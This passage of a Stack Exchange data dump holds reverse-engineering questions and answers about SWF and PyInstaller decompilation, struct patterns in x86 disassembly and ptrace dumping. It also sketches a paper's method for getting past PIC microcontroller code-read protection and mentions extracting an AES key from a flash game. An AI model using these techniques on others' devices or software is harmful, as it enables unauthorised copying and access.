sufficient:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;avr-objdump -s -m avr5 program.hex &amp;gt; program.dump&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="232" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-04-16T00:11:04.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="128" PostTypeId="1" AcceptedAnswerId="132" CreationDate="2013-03-21T15:29:33.923" Score="11" ViewCount="10404" Body="&lt;p&gt;I have a &lt;a href=&quot;http://ww1.microchip.com/downloads/en/devicedoc/39632c.pdf&quot;&gt;PIC18F4550&lt;/a&gt; from an old device and I need to see the code. I tried reading it using my ICD3 programmer, but the chip seems to have its code protected. How can I get the code anyway?&lt;/p&gt;&#xA;" OwnerDisplayName="user187" LastEditorUserId="70" LastEditDate="2013-03-22T18:03:27.560" LastActivityDate="2018-04-11T00:43:16.113" Title="Get code from protected PIC" Tags="|hardware|pic|security|dumping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="129" PostTypeId="5" CreationDate="2013-03-21T16:14:08.960" Score="0" Body="&lt;p&gt;ROM or Read Only Memory, is the type of memory that can only be read from, but not written to, except for under specific conditions. It is most commonly present on micro-controller boards.&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-03-21T16:56:29.887" LastActivityDate="2013-03-21T16:56:29.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="130" PostTypeId="4" CreationDate="2013-03-21T16:14:08.960" Score="0" Body="ROM or Read Only Memory, is the type of memory that can only be read from, but not written to, except for under specific conditions." OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-03-21T16:56:34.450" LastActivityDate="2013-03-21T16:56:34.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="131" PostTypeId="2" ParentId="90" CreationDate="2013-03-21T16:23:38.633" Score="8" Body="&lt;p&gt;Both Firefox and Chrome have useful debugging tools to help you find out more information about scripts relating to a behavior. I'll be explaining mostly in Chrome as their default debug tools are more extensive&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a start, you can usually use &lt;code&gt;Right Click-&amp;gt;Inspect Element&lt;/code&gt; to find out information about an element quickly. However this does not appear to work on Facebook's ticker - doing so will select the &quot;Ticker News&quot; behind the scrollbar like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iq3Vy.png&quot; alt=&quot;inspect fail&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because we cannot see the element being modified, we will have to make some guesses. The ticker stories themselves do not appear to have anything related to the scrollbars. After traveling up to the parent and folding &lt;code&gt;&amp;lt;div class=&quot;tickerActivityStories&quot;&amp;gt;&lt;/code&gt;, we can start to see things clearly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By hovering over (and invoking the scrollbars's &quot;appear&quot; code) we can observe the page's DOM and note the differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2lWVK.png&quot; alt=&quot;comparison&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it appears that &lt;code&gt;&amp;lt;div class=&quot;uiScrollableAreaTrack&quot;&amp;gt;&lt;/code&gt; as it responds accordingly whenever the mouse enters/leaves. The name also makes sense (implies that it's the scrollbar's tracks). By unfolding that &lt;code&gt;div&lt;/code&gt;, we'll notice that there is even a &quot;gripper&quot; for the scrollbar!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gAaV3.png&quot; alt=&quot;gripper&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find out what Javascript is involved with the scrollbars, click on &lt;code&gt;&amp;lt;div class=&quot;uiScrollableAreaGripper&quot;&lt;/code&gt;, and on the right pane, unfold the &lt;code&gt;Event Listeners&lt;/code&gt; tab. We can assume that it responds to focus, and under the &lt;code&gt;Focus&lt;/code&gt; section, you'll notice a few references to Javascript files. Hover over the filenames and Chrome will show you the link of the Javascript files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5WKL1.png&quot; alt=&quot;listeners&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're in luck, the files may have a recognizable name (such as &lt;code&gt;typeahead.min.js&lt;/code&gt; or similar, which you can google). Unfortunately in most cases, including ours, we are likely looking at proprietary code or minified code. (Minified code is extremely common to reduce file sizes so that pages load faster)&lt;/p&gt;&#xA;" OwnerUserId="171" LastActivityDate="2013-03-21T16:23:38.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="132" PostTypeId="2" ParentId="128" CreationDate="2013-03-21T16:36:23.153" Score="6" Body="&lt;p&gt;In the paper &lt;a href=&quot;http://www.openpcd.org/images/HID-iCLASS-security.pdf&quot;&gt;Heart of Darkness - exploring the uncharted backwaters of HID iCLASS TM security&#xA;&lt;/a&gt; is a technique described (section III.C) that might work,but it does require a working device which might not be at hand in your situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short they use a TTL-232 cable in synchronous bit bang mode to emulate the PIC programmer. They then override the boot block by a special dumper firmware. Why it seems to work:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Microchip PIC microcontrollers internal memory is an EEPROM which means that data are stored and erase by pages (which hold a predefined amount of data).&#xA;  The &quot;key&quot; point is that , whenever memory is copy protected, individual blocks can be erased resetting the copy protection bits only for these blocks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="225" LastEditorUserId="225" LastEditDate="2013-03-22T07:12:58.150" LastActivityDate="2013-03-22T07:12:58.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="133" PostTypeId="1" CreationDate="2013-03-21T22:09:35.767" Score="38" ViewCount="60735" Body="&lt;p&gt;What tools and techniques exist to either decompile or analyze the bytecode in a SWF file?  What resources are available to the reverse engineer to learn more about SWF internals?&lt;/p&gt;&#xA;" OwnerUserId="207" LastActivityDate="2016-10-30T23:18:26.043" Title="How does one reverse engineer a SWF file?" Tags="|swf|actionscript|" AnswerCount="9" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="134" PostTypeId="2" ParentId="133" CreationDate="2013-03-21T22:45:48.947" Score="2" Body="&lt;p&gt;There already exist many tools to do this just do a quick google search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example would be &lt;a href=&quot;http://code.google.com/p/asdec/&quot; rel=&quot;nofollow noreferrer&quot;&gt;asdec&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also here is a releated question &lt;a href=&quot;https://stackoverflow.com/questions/5289594/does-an-actionscript-decompiler-get-actionscript-from-dynamically-linked-as-file&quot;&gt;&quot;does-an-actionscript-decompiler-get-actionscript-from-dynamically-linked-as-file&quot;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also &lt;a href=&quot;http://www.gnu.org/software/gnash/Share&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gnash&lt;/a&gt; and &lt;a href=&quot;http://lightspark.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lightspark&lt;/a&gt; are open source implementations of flash that should be interesting.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-03-21T22:45:48.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="135" PostTypeId="2" ParentId="133" CreationDate="2013-03-21T22:53:55.990" Score="6" Body="&lt;p&gt;Check out Sebastian Porst's work [1] (see in particular the /slides directory for an overview, and then the rest of the code can be found from the root).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;a href=&quot;https://github.com/sporst/SWFREtools&quot;&gt;https://github.com/sporst/SWFREtools&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-03-21T22:53:55.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="136" PostTypeId="2" ParentId="4" CreationDate="2013-03-22T00:00:43.887" Score="23" Body="&lt;p&gt;There are very common patterns that you will find in code that denote structure usage.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Dereferencing offsets:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you have a pointer which is dereferenced at some non-zero offset, you are probably dealing with a structure. Look for patterns like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [ebp-8]  ; Load a local variable into eax&#xA;mov ecx, [eax+8]  ; **Dereference a dword at eax+8**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, we have a variable that contains a pointer, but we care about the contents of memory at some specific offset &lt;em&gt;ahead&lt;/em&gt; of the pointer.  This is exactly how structures are used:  We get a pointer to the structure, and then dereference the pointer plus some offset to access a specific member. In C, the syntax for this is: &lt;code&gt;pMyStruct-&amp;gt;member_at_offset_8&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Side note&lt;/strong&gt;:  Do not confuse dereferencing at the offset of some variable with dereferencing at offsets of the stack pointer or the frame pointer (&lt;code&gt;esp&lt;/code&gt; or &lt;code&gt;ebp&lt;/code&gt;).  Of course, you could think of the local variables and function arguments as being one large structure, but in C, they are not explicitly defined as such.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;More subtle pointer offsets:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You don't actually need to &lt;em&gt;dereference&lt;/em&gt; anything to detect a structure member.  For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [ebp-8]     ; Load a local variable into eax&#xA;push 30h             ; num = 30h&#xA;push aSampleString   ; src = &quot;Sample String&quot;&#xA;add eax, 0Ch&#xA;push eax             ; dst = eax + 0xC&#xA;call strncpy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, we are copying up to 0x30 characters from some source string to &lt;code&gt;eax + 0xC&lt;/code&gt; (see &lt;a href=&quot;http://www.cplusplus.com/reference/cstring/strncpy/&quot; rel=&quot;noreferrer&quot;&gt;strncpy&lt;/a&gt;).  This tells us that &lt;code&gt;eax&lt;/code&gt; &lt;em&gt;probably&lt;/em&gt; points to a structure with a string buffer (of at least 0x30 bytes) at offset 0xC.  For example, the structure may look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct _MYSTRUCT&#xA;{&#xA;    DWORD a;      // +0x0&#xA;    DWORD b;      // +0x4&#xA;    DWORD c;      // +0x8&#xA;    CHAR d[0x30]; // +0xC&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In which case, the sample code would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strncpy(&amp;amp;pMyStruct-&amp;gt;d, &quot;Sample String&quot;, sizeof(pMyStruct-&amp;gt;d));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Side note:&lt;/strong&gt; It is possible (though unlikely) that we could be copying to a large string buffer at offset +0xC, but you would be able to determine this through context.  If, say, offset +0x8 were an integer, for example, then it's definitely a struct.  But if we copied a string of fixed length 0xC to address &lt;code&gt;eax&lt;/code&gt; then copied another string to address &lt;code&gt;eax+0xC&lt;/code&gt;, it's probably one giant string.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;All reads / all writes:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Let's say you have a struct (&lt;em&gt;not&lt;/em&gt; a pointer to a struct) as a local variable your stack.  Most of the time, IDA doesn't know the difference between a struct on the stack or a bunch of individual local variables.  But a huge tip-off that you're dealing with a structure is if you only ever read from a variable without writing to it, or (less so) if you only write to a variable without reading from it.  Here's an example of each:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea eax, [ebp+var_58]  ; Load THE ADDRESS of a local variable into eax&#xA;push eax&#xA;call some_function&#xA;mov eax, [ebp+var_54]  ; Let's say we've never touched var_54 before...&#xA;test eax, eax          ; ...But we're checking its value!&#xA;jz somewhere&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, we're reading from &lt;code&gt;var_54&lt;/code&gt; without ever writing anything to it (within this function).  This &lt;em&gt;probably&lt;/em&gt; means that it is a member of a structure which was accessed from some other function call.  In this example, it's implied that &lt;code&gt;var_58&lt;/code&gt; might be the start of that structure, since its address is pushed as the argument to &lt;code&gt;some_function&lt;/code&gt;.  You can verify this by following the logic of &lt;code&gt;some_function&lt;/code&gt; and checking if its argument is ever dereferenced (and modified) at offset +0x4.  Of course, this doesn't necessarily have to happen in &lt;code&gt;some_function&lt;/code&gt; -- it could happen in one of its child functions, or one of &lt;em&gt;its&lt;/em&gt; child functions, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar example exists for writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor eax, eax&#xA;mov [ebp+var_28], eax  ; Let's say this is the *only* time var_28 is touched&#xA;lea eax, [ebp+var_30]&#xA;push eax&#xA;call some_other_function&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you see local variables being set and then never referenced again, you can't just forget about them, because they could very likely be members of a structure which is passed on to another function.  This example implies that a structure (which starts at &lt;code&gt;var_30&lt;/code&gt;) is written to at offset +0x8 before the address of that structure is passed to &lt;code&gt;some_other_function&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these examples in C might look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;some_function(&amp;amp;myStruct);&#xA;if (myStruct.member_at_offset_4) ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myStruct.member_at_offset_8 = 0;&#xA;some_other_function(&amp;amp;myStruct);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Side note:&lt;/strong&gt; Although each of these examples used local variables, the same logic applies to globals.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Documented functions that expect structures:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This one's probably obvious, and IDA will handle this for you almost all of the time, but an easy way to know when you have a structure in your code is if you call a documented function that expects a certain structure.  For example, &lt;code&gt;CreateProcessW&lt;/code&gt; expects a pointer to a &lt;code&gt;STARTUPINFOW&lt;/code&gt; structure.  This one shouldn't require an example.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How do I know if these patterns &lt;em&gt;actually&lt;/em&gt; indicate structure usage?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One final point I want to make is that in all of these cases, yes, technically, the author of the program &lt;em&gt;could&lt;/em&gt; written their code without the use of structures.  They also could have written their code by defining every function as &lt;code&gt;__declspec(naked)&lt;/code&gt; with a large &lt;code&gt;__asm&lt;/code&gt; inline.  You'd never be able to tell.  But arguably, it doesn't matter.  If there are logical groups of values that are stored contiguously in memory and passed from function to function, it is still meaningful to annotate them as structures.  Almost all of the time, this is how the author wrote their code anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need me to elaborate on anything, let me know.&lt;/p&gt;&#xA;" OwnerUserId="207" LastEditorUserId="207" LastEditDate="2016-06-22T12:46:47.807" LastActivityDate="2016-06-22T12:46:47.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="141" PostTypeId="2" ParentId="72" CreationDate="2013-03-22T00:28:09.793" Score="14" Body="&lt;p&gt;Igor's answer is very good. However, the outlined techniques rely on the assumption that at some point the executable is unpacked in memory. &lt;a href=&quot;http://static.usenix.org/event/woot09/tech/full_papers/rolles.pdf&quot;&gt;This is not always true&lt;/a&gt;. Virtualization obfusactors compile the original binary into a custom instruction set when is executed by an simulator at runtime. If you encounter a binary obfuscated in this way you have no choice but to write a disassembler from the custom instruction set to an instruction set that you understand.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2013-03-22T00:28:09.793" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="142" PostTypeId="2" ParentId="133" CreationDate="2013-03-22T01:00:32.733" Score="8" Body="&lt;p&gt;Used &lt;a href=&quot;http://www.swfwire.com/debugger&quot;&gt;SWFWire Debugger&lt;/a&gt; once to extract an AES key from a flash game. It can trace functions and their parameters while executing. I find it extremely helpful.&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2013-03-22T01:00:32.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="143" PostTypeId="1" AcceptedAnswerId="166" CreationDate="2013-03-22T02:12:29.987" Score="11" ViewCount="663" Body="&lt;p&gt;In a microkernel, much of the interesting functionality happens not with traditional function calls, but instead through message passing between separate entities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a structure that OS architectures like this generally use to implement message passing? And is there a methodical way to label this while disassembling, to make it as easy to follow paths of messages as it is to follow the call stack? &lt;/p&gt;&#xA;" OwnerUserId="62" LastEditorUserId="60" LastEditDate="2013-03-22T19:02:11.027" LastActivityDate="2013-03-22T19:02:11.027" Title="Tracing message passing instead of a call stack" Tags="|disassembly|static-analysis|operating-systems|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="144" PostTypeId="1" CreationDate="2013-03-22T03:44:29.010" Score="10" ViewCount="3798" Body="&lt;p&gt;Reverse engineering &lt;code&gt;SWFs&lt;/code&gt; with &lt;code&gt;ActionScript 3&lt;/code&gt; on a Mac typically requires a &lt;em&gt;Windows VM&lt;/em&gt; and a lot of copying and pasting. There are some good decompilers for Windows such as &lt;a href=&quot;https://sites.google.com/site/as3extractor/&quot; rel=&quot;nofollow&quot;&gt;as3extractor&lt;/a&gt; but I haven't found anything that seems to work on MacOS X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does a functional equivalent to &lt;code&gt;as3extractor&lt;/code&gt; exist for Mac OS X ?&lt;/p&gt;&#xA;" OwnerUserId="198" LastEditorUserId="3041" LastEditDate="2015-07-15T15:57:20.170" LastActivityDate="2017-01-28T14:49:00.580" Title="Can you decompile Actionscript 3 on a Mac?" Tags="|decompilation|swf|actionscript|osx|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="145" PostTypeId="5" CreationDate="2013-03-22T04:04:35.873" Score="0" Body="&lt;p&gt;C is a general purpose programming language that uses the procedural and structured programming paradigm.&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="142" LastEditDate="2013-03-22T14:44:02.153" LastActivityDate="2013-03-22T14:44:02.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="146" PostTypeId="4" CreationDate="2013-03-22T04:04:35.873" Score="0" Body="General purpose programming language that uses the procedural and structured programming paradigm." OwnerUserId="189" LastEditorUserId="53" LastEditDate="2013-12-21T15:23:06.747" LastActivityDate="2013-12-21T15:23:06.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="147" PostTypeId="2" ParentId="144" CreationDate="2013-03-22T04:06:23.020" Score="5" Body="&lt;p&gt;&lt;strong&gt;Commercial:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're alright with commercial tools, Sothink's SWF decompiler for Mac should be capable of decompiling AS3 on Mac. I've only used the Windows version but I believe their features should be mostly similar. They have a feature to export FLA from a SWF file which works very well for most cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their product page mentions&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Support Flash CS3/CS4/CS5/CS5.5/CS6 and ActionScript 2.0/3.0.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.sothink.com/product/flash-decompiler-for-mac/&quot;&gt;http://www.sothink.com/product/flash-decompiler-for-mac/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Freeware:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know of a good freeware solution. If you'd like to use AS3Extractor on your Mac, you can consider running Wine (install via &lt;a href=&quot;https://github.com/mxcl/homebrew&quot;&gt;Homebrew&lt;/a&gt;). AS3Extractor also mentions that they have a dependency on &lt;a href=&quot;http://www.microsoft.com/downloads/en/details.aspx?familyid=A5C84275-3B97-4AB7-A40D-3802B2AF5FC2&amp;amp;displaylang=en&quot;&gt;Visual C++ 2008 Redistributable Package&lt;/a&gt; so do take note!&lt;/p&gt;&#xA;" OwnerUserId="171" LastActivityDate="2013-03-22T04:06:23.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="148" PostTypeId="2" ParentId="133" CreationDate="2013-03-22T07:37:55.313" Score="13" Body="&lt;p&gt;There is good tool &lt;a href=&quot;http://www.nowrap.de/flasm.html&quot;&gt;flasm&lt;/a&gt;, which is open-source, and contain both flash assembler and disassembler. And &lt;a href=&quot;http://www.nowrap.de/flare.html&quot;&gt;flare&lt;/a&gt;, which is free, but closed-source, and contain flash decompiler. Looks like both are abandoned (last update from 2007), and have no support for ActionScript 3, but, maybe someone could extend them.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2013-03-22T07:37:55.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="149" PostTypeId="2" ParentId="74" CreationDate="2013-03-22T08:12:42.180" Score="5" Body="&lt;p&gt;I made a &lt;a href=&quot;https://code.google.com/p/corkami/source/browse/trunk/wip/MakePE/examples/asm/opcodes32.asm?r=1569&quot; rel=&quot;nofollow&quot;&gt;file&lt;/a&gt; containing all x86 opcodes (at the time) and many encoding forms, that helped me to actively find many bugs in many disassemblers (IDA, Hiew, BeaEngine, OllyDbg, XED, hte...), particularly lesser known forms and undocumented ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(slightly off-topic maybe - not a ready-made test suite)&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-03-22T13:51:05.423" LastActivityDate="2013-03-22T13:51:05.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="150" PostTypeId="2" ParentId="98" CreationDate="2013-03-22T08:36:03.753" Score="9" Body="&lt;p&gt;Using ptrace-based dynamic analysis tools on suid binaries makes them run without privileges. Because of this, a copy of the file running as your user is probably sufficient for analysis purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I have had to do this, I used the &lt;a href=&quot;http://reverse.lostrealm.com/tools/xocopy.html&quot;&gt;xocopy tool&lt;/a&gt;, which uses &lt;code&gt;ptrace&lt;/code&gt; to reconstruct ELF files when the header is mapped into memory (most compilers do this, possibly for use by the dynamic linker). I haven't tested the tool with ASLR, but you may be able to combine it with some of the techniques covered in other answers. Once the file has been dumped, it can be analysed statically, or run with any dynamic analysis tool.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-03-22T08:36:03.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="151" PostTypeId="1" CreationDate="2013-03-22T10:36:20.450" Score="6" ViewCount="501" Body="&lt;p&gt;I'm developing an AST model for a source code reverse engineering platform. My question is, should I keep parenthesis data in my AST? Because I have everything in a tree, I already know which operation will be executed first.&lt;/p&gt;&#xA;" OwnerUserId="79" LastEditorUserId="189" LastEditDate="2013-05-15T08:38:26.203" LastActivityDate="2013-05-15T08:38:26.203" Title="Should I keep parenthesis information while source modeling?" Tags="|static-analysis|ast|code-modeling|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="152" PostTypeId="5" CreationDate="2013-03-22T10:39:58.977" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-03-22T10:39:58.977" LastActivityDate="2013-03-22T10:39:58.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="153" PostTypeId="4" CreationDate="2013-03-22T10:39:58.977" Score="0" Body="Abstract Syntax Trees are used to model source code on a higher level of abstraction. " OwnerUserId="79" LastEditorUserId="79" LastEditDate="2013-03-22T14:43:40.993" LastActivityDate="2013-03-22T14:43:40.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="154" PostTypeId="5" CreationDate="2013-03-22T10:43:04.597" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-03-22T10:43:04.597" LastActivityDate="2013-03-22T10:43:04.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="155" PostTypeId="4" CreationDate="2013-03-22T10:43:04.597" Score="0" Body="This tag is for questions related to reverse engineering computer software." OwnerUserId="79" LastEditorUserId="189" LastEditDate="2013-03-25T17:02:11.387" LastActivityDate="2013-03-25T17:02:11.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="157" PostTypeId="5" CreationDate="2013-03-22T12:02:33.613" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-03-22T12:02:33.613" LastActivityDate="2013-03-22T12:02:33.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="158" PostTypeId="4" CreationDate="2013-03-22T12:02:33.613" Score="0" Body="An activity which results in the creation of the model from a program source code" OwnerUserId="79" LastEditorUserId="79" LastEditDate="2013-03-22T14:44:12.043" LastActivityDate="2013-03-22T14:44:12.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="160" PostTypeId="1" AcceptedAnswerId="164" CreationDate="2013-03-22T14:01:31.240" Score="40" ViewCount="132053" Body="&lt;p&gt;Having recently watched/read a presentation &lt;a href=&quot;http://www.trustedsec.com/files/Owning_One_Rule_All_v2.pdf&quot;&gt;given by Dave Kennedy at DEF CON 20 [PDF]&lt;/a&gt;, I'd like to know how to decompile a Python script compiled with &lt;a href=&quot;http://www.pyinstaller.org/&quot;&gt;PyInstaller&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In his presentation, he is creating a basic reverse shell script in Python, and converts it to an EXE with PyInstaller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how do you take a PyInstaller created EXE and either completely, or generally, retrieve the logic/source code from the original Python script(s)?&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="188" LastEditDate="2013-04-02T21:21:46.803" LastActivityDate="2019-03-26T04:30:30.513" Title="How do you reverse engineer an EXE &quot;compiled&quot; with PyInstaller" Tags="|python|pe|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="161" PostTypeId="2" ParentId="160" CreationDate="2013-03-22T14:22:06.750" Score="8" Body="&lt;p&gt;This process should get you as close to the original source as possible.&lt;/p&gt;&#xA;&lt;p&gt;Basically what tools like pyinstaller and py2exe do is package libraries and dependencies all together so you can run the 'stand-alone' EXE without having to download them or prepare the machine with a python interpreter.&lt;/p&gt;&#xA;&lt;p&gt;When you launch the EXE - it is unpackaged in memory. This includes the .pyc files (python code that is converted to bytecode). pyREtic is a tool that allows you to grab those from memory and convert it back to source.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/MyNameIsMeerkat/pyREtic&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/MyNameIsMeerkat/pyREtic&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;pyREtic&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Reverse Engineer Obfuscated Python Bytecode This toolkit&#xA;allows you to take a object in memory back to source code, without&#xA;needing access to the bytecode directly on disk. This can be useful if&#xA;the applictions pyc's on disk are obfuscated in one of many ways.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="218" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-03-21T16:11:08.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="162" PostTypeId="2" ParentId="160" CreationDate="2013-03-22T14:56:44.440" Score="10" Body="&lt;p&gt;The presentation at hack.lu 2012 titled &quot;A Critical Analysis of Dropbox Software Security&quot; discussed reversing of the Dropbox desktop client which used a similar implementation but with an added twist of customized Python interpreter with changed bytecode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presentation review: &lt;a href=&quot;http://blog.csnc.ch/2012/12/asfws-a-critical-analysis-of-dropbox-software-security/&quot;&gt;http://blog.csnc.ch/2012/12/asfws-a-critical-analysis-of-dropbox-software-security/&lt;/a&gt;&lt;br&gt;&#xA;Link to the slides: &lt;a href=&quot;http://archive.hack.lu/2012/Dropbox%20security.pdf&quot;&gt;http://archive.hack.lu/2012/Dropbox%20security.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-03-22T14:56:44.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
